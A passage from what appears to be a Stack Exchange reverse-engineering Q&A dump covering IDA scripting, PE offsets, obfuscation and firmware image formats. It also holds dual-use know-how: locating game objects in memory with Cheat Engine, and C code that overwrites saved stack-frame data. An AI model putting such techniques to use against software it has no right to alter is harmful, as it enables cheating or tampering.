&quot;tvec&quot; is and I'm not great at 3D math. The game is based off the Quake III engine so that might help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have dumped some of the data here for reference:&#xA;&lt;a href=&quot;http://pastebin.com/UABAjDQP&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/UABAjDQP&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11990" LastEditorUserId="11990" LastEditDate="2015-03-14T21:35:57.983" LastActivityDate="2015-03-14T21:35:57.983" Title="Constructing a mesh from triangle data (plane, svec, tvec)" Tags="|binary-analysis|c++|binary-format|" AnswerCount="0" CommentCount="0" ClosedDate="2015-03-16T19:41:38.990" ContentLicense="CC BY-SA 3.0" />
  <row Id="8467" PostTypeId="1" AcceptedAnswerId="8471" CreationDate="2015-03-15T02:10:39.373" Score="4" ViewCount="1075" Body="&lt;p&gt;So in a given game there are objects randomly placed around the map. I've managed (through playing with the memory in cheat engine) find that a single value changes when a certain object is within my draw distance. It's a boolean either 0 or 1. I had expect to then be able to search for the location of these objects (based on an interval of my location at N,E,S, and W of the object in x and y) however I was surprised to find that no values were  found in this range! Is there a piece of software/method by which I could try and figure this sort of problem out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realise this is a broad question - I wouldn't like to limit it to a specific game since I wish to apply the method to more than one game. If there are other ways to make the question more narrow please say so in comments and I'll amend!&lt;/p&gt;&#xA;" OwnerUserId="11895" LastActivityDate="2015-03-15T15:58:11.433" Title="What's a good method to find the location of objects in a game" Tags="|memory|" AnswerCount="1" CommentCount="0" ClosedDate="2015-03-31T12:03:39.467" ContentLicense="CC BY-SA 3.0" />
  <row Id="8468" PostTypeId="1" CreationDate="2015-03-15T05:05:24.987" Score="0" ViewCount="197" Body="&lt;p&gt;I have a DLL with the following code which decrypts and decompresses an old PKZip 2.0 file...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;3;&#xA;basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;* ptr3 = &amp;lt;Module&amp;gt;.to_string(&amp;amp;basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;3, sPassword);&#xA;&amp;lt;Module&amp;gt;.addUNZIP_Decrypt(&amp;lt;Module&amp;gt;.std.basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;.c_str(ptr3));&#xA;&amp;lt;Module&amp;gt;.addUNZIP_Overwrite(11);&#xA;&amp;lt;Module&amp;gt;.addUNZIP_InstallCallback(&amp;lt;Module&amp;gt;.__unep@?zip_callback@?A0xb8f18585@@$$FYGHFFPAD@Z);&#xA;&amp;lt;Module&amp;gt;.addUNZIP_View(0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ptr3 is the pointer to the password string.  What's strange is that the prior line has the password, but the password doesn't work when I try to unzip the file manually with 7Zip, WinRAR, or PKZip.  ...yet the program does it successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible the ZIP/UNZIP calls are modifying the password (like adding an unprintable 00 to the end or something)?&lt;/p&gt;&#xA;" OwnerUserId="8534" LastActivityDate="2015-03-15T15:44:19.357" Title="Windows PKZIP encryption / compression calls might be altering password?" Tags="|windows|decompilation|dll|decompress|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8470" PostTypeId="2" ParentId="8468" CreationDate="2015-03-15T15:44:19.357" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible the ZIP/UNZIP calls are modifying the password&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, it's possible that &lt;code&gt;&amp;lt;Module&amp;gt;.addUNZIP_Decrypt()&lt;/code&gt; modifies the password, or draws a giraffe on your screen, or plays The Star Spangled Banner out through your speakers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to reverse engineer the function to determine what it does.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-03-15T15:44:19.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8471" PostTypeId="2" ParentId="8467" CreationDate="2015-03-15T15:58:11.433" Score="7" Body="&lt;p&gt;I'll make the assumption that the application is written in Visual C++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CheatEngine itself is already pretty useful for finding your objects - first you need to find the place in code where these objects are created. For example in C++ you'd write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GameObject* obj = new GameObject();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In assembly this is often inlined to a malloc call. So if you use something like IDA Pro to more accurately reverse engineer the assembly, you might see something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;;; void* obj = malloc(64);&#xA;&#xA;push  40h      ;; alloc 64 bytes&#xA;call  _malloc  ;; easilly detected only if program dynamically links to msvcrt.dll&#xA;add   esp, 4&#xA;mov   [esp+local_C0], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From this you can figure out that your objects are always 64 bytes in size (this is just an example, so your concrete program probably might have bigger objects).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you launch the program in Visual Studio (File -&gt; Open.. -&gt; Project/Solution.. -&gt; YourProgram.exe), you can force it to use the Windows debug heap, which will allow you to walk all the dynamically allocated heap nodes and filter out all nodes that are 64 bytes in size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you should have a large collection of potential GameObject pointers and the final level of filtering would be detecting some basic patterns - for example if the class uses virtual functions, the first field of the object will be its VTable entry, thus giving you an easy identifier whether it's a GameObject or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might not be a complete example, but it should be good enough to get you in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2015-03-15T15:58:11.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8475" PostTypeId="1" AcceptedAnswerId="8491" CreationDate="2015-03-16T08:12:59.297" Score="3" ViewCount="846" Body="&lt;p&gt;I am investigating car navigation software which runs on QNX and want to replace the startup animation with my own. I have found the files in the firmware which have the extension .canim which likely stands for compressed animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files are zlib compressed and after deflating the files start with HEX &lt;code&gt;41 4E 49 4D 31 20 20 20 20 03 00 00 E0 01 00 00&lt;/code&gt;(ANIM1). My question is what file format is this? (possible match: &lt;a href=&quot;http://en.wikipedia.org/wiki/ANIM&quot; rel=&quot;nofollow noreferrer&quot;&gt;Amiga ANIM&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the screen resolution for the device is 800x480 so after DWORD 3&amp;amp;4 are resolution (&lt;code&gt;20 03 00 00&lt;/code&gt; -&gt; 80 and &lt;code&gt;E0 01 00 00&lt;/code&gt; -&gt; 480&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've uploaded the files &lt;a href=&quot;https://remkoweijnen.sharefile.eu/d/sf4c7977d4f44fa59&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, bin files are deflated versions of the .canim files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: some additional info: I found startup pictures in the same folder and they are zlib compressed and are simple RGB pairs with a padding 00 to align at DWORD, eg : &lt;code&gt;04 02 04 00 04 02 04 00 04 02 04 00 04 02 04 00&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2: &lt;a href=&quot;http://ankk-vagcom.com/discover-pro-modifier-le-logo-de-demarrage/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This site&lt;/a&gt; has video's for each of the possible startup animations.&#xA;And these are the startup pictures I have extracted:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ThSjK.png&quot; alt=&quot;startup_generic.raw2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xSyJ5.png&quot; alt=&quot;startup_vw_dynaudio.raw2&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2015-03-18T07:20:44.660" LastActivityDate="2018-05-12T05:33:38.487" Title="What image format is ANIM1" Tags="|file-format|qnx|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8476" PostTypeId="1" AcceptedAnswerId="8477" CreationDate="2015-03-16T10:59:13.120" Score="2" ViewCount="1469" Body="&lt;p&gt;I have found problem with finding file offset which actually is program entry point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case I experience problem, value of AddressOfEntryPoint is 0x1018. Here is a section which maps this address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/903S0.png&quot; alt=&quot;Section header&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume entry point should be &lt;code&gt;0x28 = 0x10 + 0x1018 - 0x1000 (PointerToRawData + AddressOfEntryPoint - VirtualAddress)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However tools says it is 0x18 instead. I'm not sure why, made some experiments and came up with another formula. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x18 = (0x10 / 0x200) * 0x200 + 0x1018 - 0x1000 ((PointerToRawData / FileAlignment) * FileAlignment + AddressOfEntryPoint - VirtualAddress)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use FileAlignment from OptionalHeader and it works great, however I don't know if it is a coincidence or somewhere documented, so asking here for confirmation.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, probably not important, but file is packed with UPack(0.399), packer signature BE****AD50FF7634EB7C4801.&lt;/p&gt;&#xA;" OwnerUserId="8247" LastActivityDate="2015-03-16T15:45:33.293" Title="Problem with entry point detection as a file offset" Tags="|pe|entry-point|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8477" PostTypeId="2" ParentId="8476" CreationDate="2015-03-16T14:03:00.813" Score="4" Body="&lt;p&gt;From &lt;a href=&quot;https://code.google.com/p/corkami/wiki/PE#PointerToRawData&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/corkami/wiki/PE#PointerToRawData&lt;/a&gt; --&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if a section's physical start is lower than 200h (the lower limit for&#xA;  standard alignment), it is rounded down to 0.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thus, the entry point's physical offset would be:&#xA;&lt;code&gt;0x00000018 = 0x00000000 + 0x00001018 - 0x00001000&lt;/code&gt; (PointerToRawData_rounded_down + AddressOfEntryPoint - VirtualAddress)&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-03-16T15:45:33.293" LastActivityDate="2015-03-16T15:45:33.293" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8479" PostTypeId="1" AcceptedAnswerId="8480" CreationDate="2015-03-16T17:20:23.567" Score="1" ViewCount="1338" Body="&lt;p&gt;I'm wondering what happens if we try to run a jar through Proguard that has already been obfuscated by another obfuscator or Proguard itself? Will the obfuscated class names and methods names be changed by the new obfuscator?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I would like to have those names renamed to something simpler such as &lt;code&gt;a&lt;/code&gt; or &lt;code&gt;aab&lt;/code&gt; rather than unicode characters. Will another obfuscator change the names?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LupVn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9782" LastEditorUserId="9782" LastEditDate="2015-03-17T03:50:49.533" LastActivityDate="2015-03-17T03:50:49.533" Title="Obfuscating jar already obfuscated" Tags="|obfuscation|java|" AnswerCount="2" CommentCount="2" ClosedDate="2015-03-20T06:40:37.363" ContentLicense="CC BY-SA 3.0" />
  <row Id="8480" PostTypeId="2" ParentId="8479" CreationDate="2015-03-16T22:58:22.517" Score="1" Body="&lt;p&gt;It's reasonable to assume ProGuard (or any other alike software) &lt;em&gt;cannot tell&lt;/em&gt; if a name is deliberately unclear or not. If it could, it would be reversible -- create 'sensible' names for those that it deemed unclear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Which would be a useful program. I have seen &quot;plain&quot; code with such bad names that it already looked quite obfuscated. Some of it was my own. My younger self did not think my older self would ever need to understand his code.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if obfuscating 'again' may change the names (again), it will not add an entire new &quot;level of obfuscation&quot;.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2015-03-16T22:58:22.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8481" PostTypeId="2" ParentId="8479" CreationDate="2015-03-17T02:42:06.127" Score="3" Body="&lt;p&gt;It all depends on what the obfuscator does. Proguard is a relatively weak obfuscator - it basically only renames things and strips out unused methods. So running Proguard on the same application twice is pretty much useless, but it won't cause any ill effects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use a stronger obfuscator however, things will almost certainly break. For example, Allatori and Stringer both encrypt constant strings with a key derived from the class and method name of the caller. At runtime, the string decrpytion function uses various hacks to get the name of the caller and then decrypts the string with that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you then run Proguard on the obfuscated application, Proguard will blindly rename the classes, meaning that when the string decryption functions are called, the decryption key will be incorrect and the application will get garbage strings at best or much more likely just crash.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2015-03-17T02:42:06.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8482" PostTypeId="1" AcceptedAnswerId="8483" CreationDate="2015-03-17T12:38:12.853" Score="2" ViewCount="1759" Body="&lt;p&gt;I am totally new to reverse engineering science and does not know much about the assembly language. By the way, I am working on a data set of disassembled malicious files available at &lt;a href=&quot;https://www.kaggle.com/c/malware-classification&quot; rel=&quot;nofollow&quot;&gt;kaggle&lt;/a&gt;. These files are generated by IDA Pro and I do not have access to executable files or IDA Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, I have read several papers on this topic and tried to implement one of them, &lt;a href=&quot;http://dx.doi.org/10.1145/1653662.1653736&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;. However, I need to generate a &lt;strong&gt;Function Call Graph&lt;/strong&gt; from these codes. I have googled for hours, but could not find any open source tool to &lt;strong&gt;statically&lt;/strong&gt; generate this graph from disassembled files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a computer science student, hence, as is expected, I am willing to implement one if there are no ones out there, however, I do not know how or where to begin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum it up, I have the following questions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1- How to generate function call graphs from disassembled files, statically?&#xA;2- Are there any algorithms, tools, or libraries to do this task or similar ones?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="12007" LastActivityDate="2015-03-17T15:42:16.787" Title="How to extract a function call graph from IDA's Pro disassembled file (.asm file)?" Tags="|disassembly|functions|call|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8483" PostTypeId="2" ParentId="8482" CreationDate="2015-03-17T15:42:16.787" Score="3" Body="&lt;p&gt;Note: You'll probably get a better answer on stackoverflow, as your question is more about creating software than about reversing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you'll want to split your text file into blocks. You can do that looking for the &lt;code&gt;============= S U B R O U T I N E ============&lt;/code&gt; comments that IDA emits, or checking the &lt;code&gt;sub_XXXX proc [near|far]&lt;/code&gt;  and &lt;code&gt;sub_XXXX endp&lt;/code&gt; markers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, to find your connections, look for the &lt;code&gt;call&lt;/code&gt; statements in each of these procedures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last, you need to layout the boxes and draw connections. You could use &lt;a href=&quot;http://en.wikipedia.org/wiki/Graphviz&quot; rel=&quot;nofollow&quot;&gt;Graphviz&lt;/a&gt; to do that (you need to write a definition file in a syntax they call &quot;dot language&quot;), or check the Wikipedia &lt;a href=&quot;http://en.wikipedia.org/wiki/Graph_drawing&quot; rel=&quot;nofollow&quot;&gt;Graph drawing&lt;/a&gt; page, which has explanations of the algorithms used, as well as links to various other software packages which might fit your need better.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-03-17T15:42:16.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8485" PostTypeId="1" CreationDate="2015-03-17T22:02:02.220" Score="4" ViewCount="522" Body="&lt;p&gt;I'm developing a custom memory viewer in Python for IDA. Obviously I need to know current EA. For now, I just ask user to supply it through &lt;code&gt;AskAddr()&lt;/code&gt; and it works fine. However, I'd like my plugin to integrate with IDA better. For example, if I click on a function in the functions window, or click anything in the navigator, it should open my window (if it's focused already), not the hex view or disassembly view. Well, at least I'd expect it to. I don't believe opening these is hardcoded in IDA's internals, since we can get as many hex/disassembly views as we want, and IDA always uses the last one as EA handler... so they are probably registering themselves somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've tried was to use &lt;a href=&quot;https://code.google.com/p/idapython/source/browse/trunk/examples/ex_uihook.py&quot; rel=&quot;nofollow&quot;&gt;UI hooks&lt;/a&gt;, but they simply do not register the desired events. If I click on the navigator, it shows nothing, but if I press &lt;kbd&gt;G&lt;/kbd&gt;, it correctly receives &lt;code&gt;JumpAsk&lt;/code&gt; event. So it seems to work on a whim. The other thing I've tried was to use &lt;a href=&quot;http://www.hexblog.com/?p=119&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;simplecustviewer_t&lt;/code&gt;&lt;/a&gt; that offers &lt;code&gt;OnCursorPosChanged&lt;/code&gt;, but apparently it handles changing position of a text caret in a window, not EA &quot;cursor&quot; changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can hook up into these kind of events?&lt;/p&gt;&#xA;" OwnerUserId="11980" LastEditorUserId="11980" LastEditDate="2015-03-17T22:08:45.760" LastActivityDate="2015-03-18T06:55:41.440" Title="How to detect address changes in the IDA SDK?" Tags="|ida|ida-plugin|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8486" PostTypeId="2" ParentId="8485" CreationDate="2015-03-18T06:44:45.027" Score="3" Body="&lt;p&gt;&lt;code&gt;idc.ScreenEA()&lt;/code&gt; is your friend.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ScreenEA()&#xA;Get linear address of cursor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can either open a thread which will ask this value once per some time, or add synchronization menu item into your custom view or use PyQt4 capabilities to check setting focus on the window instead of simplecustviewer_t.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2015-03-18T06:55:41.440" LastActivityDate="2015-03-18T06:55:41.440" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8487" PostTypeId="2" ParentId="8464" CreationDate="2015-03-18T07:39:32.270" Score="1" Body="&lt;p&gt;As Jason writes, I should use 64-bit pointers. Besides that, it also turns out that I had to copy four numbers from the stack frame. This is working code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uint64_t * my_ptr = &amp;amp;buf;&#xA;int * x = my_ptr;&#xA;&#xA;while (*(++x)  != 0xa0b1c2d3);  // Find the beacon. We could of course simply have a look&#xA;uint64_t * y = x + 1;           // with gdb where it's stored, but this works generically.&#xA;&#xA;*(my_ptr+7) = *(y+3);           // Copy frame information&#xA;*(my_ptr+6) = *(y+2);&#xA;*(my_ptr+5) = *(y+1);&#xA;*(my_ptr+4) = *y;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Typically you need to fiddle a bit with what addresses you have to copy. You can get a rough idea using gdb, as you did. The exact numbers depend on the functions and their variables.&lt;/p&gt;&#xA;" OwnerDisplayName="user187" LastActivityDate="2015-03-18T07:39:32.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8488" PostTypeId="1" AcceptedAnswerId="8489" CreationDate="2015-03-18T08:55:18.717" Score="7" ViewCount="9826" Body="&lt;p&gt;As a beginner I'm trying to disassemble a file with IDA Pro 6.5. &#xA;I know that the image base can be find in IDA Pro manu Edit -&gt; Segment -&gt; Rebase program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I want to get the image base of current setting through IDC or IDAPython. Are there anyone to tell me how to write script? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6903" LastActivityDate="2015-03-18T12:53:28.533" Title="How to get imge base of current setting through script in IDA pro？" Tags="|ida|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8489" PostTypeId="2" ParentId="8488" CreationDate="2015-03-18T09:04:16.503" Score="13" Body="&lt;p&gt;&lt;code&gt;idaapi.get_imagebase()&lt;/code&gt; is your friend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just in case you didn't know, all the reference documentation for idapython is &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;hex(idaapi.get_imagebase())&#xA;0x100000L&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2015-03-18T09:19:20.357" LastActivityDate="2015-03-18T09:19:20.357" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8491" PostTypeId="2" ParentId="8475" CreationDate="2015-03-18T11:56:01.167" Score="3" Body="&lt;p&gt;The image data is stored as raw RGBA quads, with width/height/start defined in a block near the beginning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can extract the image data from the uncompressed bins using this python script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import struct&#xA;import sys&#xA;import os&#xA;from PIL import Image&#xA;&#xA;if len(sys.argv) != 3:&#xA;  print 'usage: process.py &amp;lt;filename&amp;gt; &amp;lt;outdir&amp;gt;'&#xA;  sys.exit(1)&#xA;&#xA;out_dir = sys.argv[2]&#xA;if not os.path.exists(out_dir):&#xA;  os.mkdir(out_dir)&#xA;&#xA;data = open(sys.argv[1],'rb').read()&#xA;offset = 0&#xA;&#xA;(magic,) = struct.unpack_from('&amp;lt;8s', data, offset)&#xA;offset = offset + 8&#xA;&#xA;if magic != 'ANIM1   ':&#xA;  print 'incorrect magic!'&#xA;  sys.exit(1)&#xA;&#xA;&#xA;(stage_width, stage_height, cmdblock_len, unk) = struct.unpack_from('&amp;lt;LLLL', data, offset)&#xA;offset = offset + 16&#xA;&#xA;print &quot;stage_width: %d\nstage_height: %d\ncmdblock_len: %d\n&quot; %(stage_width, stage_height, cmdblock_len)&#xA;&#xA;(cmd_code, img_num, img_width, img_height, bytes_per_pixel, data_start) = struct.unpack_from('&amp;lt;LLLLLL', data, offset)&#xA;&#xA;while cmd_code == 0x11:&#xA;  print 'generating img_%d' % (img_num)&#xA;  im = Image.frombuffer('RGBA', (img_width, img_height), data[0x20+cmdblock_len+data_start:], 'raw', 'RGBA', 0, 1)&#xA;  im.save(os.path.join(out_dir, 'img_%d.png'%img_num))&#xA;  offset = offset + 0x20&#xA;  (cmd_code, img_num, img_width, img_height, bytes_per_pixel, data_start) = struct.unpack_from('&amp;lt;LLLLLL', data, offset)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other data in that initial block must be used composite them into the actual animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be able to inject your own images of the same dimensions/format to replace elements of the animations. It doesn't give you full control, but it should give you some basic capability to customise the animations.&lt;/p&gt;&#xA;" OwnerUserId="12017" LastActivityDate="2015-03-18T11:56:01.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8492" PostTypeId="2" ParentId="8488" CreationDate="2015-03-18T12:53:28.533" Score="3" Body="&lt;p&gt;idc unattended &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F:\IDA_FRE_5&amp;gt;del outtext.txt &amp;amp; idag.exe -A -S.\segbase.idc c:\WINDOWS\system32\c&#xA;alc.idb &amp;amp; sleep 5 &amp;amp; type outtext.txt&#xA;Segment Base is 1001000&#xA;&#xA;F:\IDA_FRE_5&amp;gt;type segbase.idc&#xA;#include &amp;lt;idc.idc&amp;gt;&#xA;static main ()&#xA;{&#xA;auto fpo,fullstr,segbase;&#xA;        Batch(1);&#xA;        segbase = SegStart(MinEA());&#xA;        Message(&quot;base is %x\n&quot;,segbase);&#xA;        fpo = fopen(&quot;outtext.txt&quot;,&quot;wb&quot;);&#xA;        fullstr = form(&quot;Segment Base is %x\n&quot;,segbase);&#xA;        writestr(fpo,fullstr);&#xA;        fclose(fpo);&#xA;        Exit(0);&#xA;&#xA;}&#xA;&#xA;F:\IDA_FRE_5&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-03-18T12:53:28.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8493" PostTypeId="1" AcceptedAnswerId="8494" CreationDate="2015-03-18T15:52:56.287" Score="3" ViewCount="97" Body="&lt;p&gt;Last night I was playing Monopoly Zapped with the kids and I because quite intrigued as to how it worked. Basically, you interact with a tablet (or phone) whenever you want to do something... buy property, get out of jail, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The weird thing is it all works just by touching the card to the screen (not the camera and there is no chip in the card) and the device does all the work... it even knows if a player is using the wrong card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done a lot of searching on the Internet and cannot find ANYTHING to describe how this works. The only think I can think is there is some sort of &quot;electrified&quot; ink that is reacting with the digitizer on the screen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any other ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="12018" LastActivityDate="2015-03-18T16:26:07.643" Title="Special ink for iPhone (or other mobile) screen for interaction" Tags="|android|ios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8494" PostTypeId="2" ParentId="8493" CreationDate="2015-03-18T16:26:07.643" Score="3" Body="&lt;p&gt;According to the &lt;a href=&quot;http://thegameagency.com/index.php/portfolio-posts/monopoly-zapped_draft/&quot; rel=&quot;nofollow noreferrer&quot;&gt;app developer's website&lt;/a&gt;, the cards use &lt;a href=&quot;http://en.wikipedia.org/wiki/Conductive_ink&quot; rel=&quot;nofollow noreferrer&quot;&gt;conductive ink&lt;/a&gt; which can interact with the mobile device's capacitive screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BlIbJ.jpg&quot; alt=&quot;Monopoly Zapped&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-03-18T16:26:07.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8495" PostTypeId="1" AcceptedAnswerId="8499" CreationDate="2015-03-19T02:30:07.720" Score="4" ViewCount="3878" Body="&lt;p&gt;I am trying to evaluate a very large amount of binaries (thousands) using &lt;code&gt;BinDiff&lt;/code&gt;, and currently I only need some instruction level statistics from  BinDiff, which can be acquired from its dumped &lt;code&gt;sqlite&lt;/code&gt; file easily. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my problem is that testing thousands of binaries using the GUI of IDA/BinDiff looks too time consuming..  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering can I invoke plugins of IDA-Pro, in particular, &lt;code&gt;BinDiff&lt;/code&gt;, from command line and dump its output out? Is it possible to do so?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some experience to use command line ida, but that only limits to execute some IDAPython scripts.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The test is on Windows 7, with IDA-Pro 6.6 and BinDiff 4.1. &lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="2147" LastEditDate="2016-10-11T13:17:02.777" LastActivityDate="2016-10-11T13:17:02.777" Title="Can I invoke IDA's plugin BinDiff from command line?" Tags="|ida|idapython|ida-plugin|tool-bindiff|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
